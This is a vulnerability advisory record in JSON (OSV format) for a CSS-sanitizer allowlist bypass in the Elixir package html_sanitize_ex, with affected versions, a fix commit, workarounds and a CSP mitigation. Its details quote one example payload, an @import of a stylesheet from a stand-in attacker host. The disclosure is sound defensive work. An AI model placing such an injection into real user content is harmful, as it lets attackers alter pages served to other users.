{"affected":[{"package":{"ecosystem":"Hex","name":"html_sanitize_ex","purl":"pkg:hex/html_sanitize_ex"},"ranges":[{"events":[{"introduced":"0.3.1"},{"fixed":"1.5.4"}],"type":"SEMVER"}],"versions":["0.3.1","1.0.0","1.0.1","1.1.0-rc1","1.1.0","1.1.1","1.2.0","1.3.0-rc1","1.3.0-rc2","1.3.0-rc3","1.3.0","1.4.0","1.4.1","1.4.2","1.4.3","1.4.4-rc.0","1.4.4","1.5.0-rc.0","1.5.0","1.5.1","1.5.2","1.5.3"]},{"ranges":[{"events":[{"introduced":"21f90012eb21aa36f4e3701b7547e12faf0f3c8b"},{"fixed":"0b9f9ad63a7529d4f2c3c1134c371adc3e654308"}],"repo":"https://github.com/rrrene/html_sanitize_ex","type":"GIT"}]}],"aliases":["GHSA-87v2-pfhj-r5x7","CVE-2026-68747"],"credits":[{"name":"Peter Ullrich","type":"FINDER"},{"name":"Jonatan Männchen / EEF","type":"ANALYST"},{"name":"René Föhring","type":"REMEDIATION_DEVELOPER"}],"database_specific":{"capec_ids":["CAPEC-148"],"cpe_ids":["cpe:2.3:a:rrrene:html_sanitize_ex:*:*:*:*:*:*:*:*"],"cwe_ids":["CWE-74"]},"details":"## Summary\n\nImproper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html\\_sanitize\\_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed.\n\nElement boundaries are resolved before the scrubber runs, so injected content does not escape the <style> element and no script executes.\n\nThis issue affects html\\_sanitize\\_ex: from 0.3.1 before 1.5.4.\n\n## Workaround\n\nSanitize with basic\\_html/1, markdown\\_html/1 or strip\\_tags/1, none of which allow <style> elements, or define a custom scrubber that omits it.\n\nA Content-Security-Policy style-src directive that permits no external stylesheet origins stops an injected @import from loading, though injected inline rules still apply.\n\n## Configuration\n\nOnly HtmlSanitizeEx.html5/1, and custom scrubbers declared with use HtmlSanitizeEx, extend: :html5, permit <style> elements, and the sanitized output must be rendered to other users. Applications calling HtmlSanitizeEx.Scrubber.CSS.scrub/1 directly are also affected.","id":"EEF-CVE-2026-68747","modified":"2026-08-06T15:08:58.488900Z","published":"2026-08-06T14:50:03.143Z","references":[{"type":"ADVISORY","url":"https://github.com/rrrene/html_sanitize_ex/security/advisories/GHSA-87v2-pfhj-r5x7"},{"type":"WEB","url":"https://cna.erlef.org/cves/CVE-2026-68747.html"},{"type":"FIX","url":"https://github.com/rrrene/html_sanitize_ex/commit/0b9f9ad63a7529d4f2c3c1134c371adc3e654308"},{"type":"PACKAGE","url":"https://hex.pm/packages/html_sanitize_ex"}],"related":[],"schema_version":"1.7.3","severity":[{"score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","type":"CVSS_V4"}],"summary":"CSS sanitizer allowlist bypass in html_sanitize_ex via non-declaration input","upstream":[]}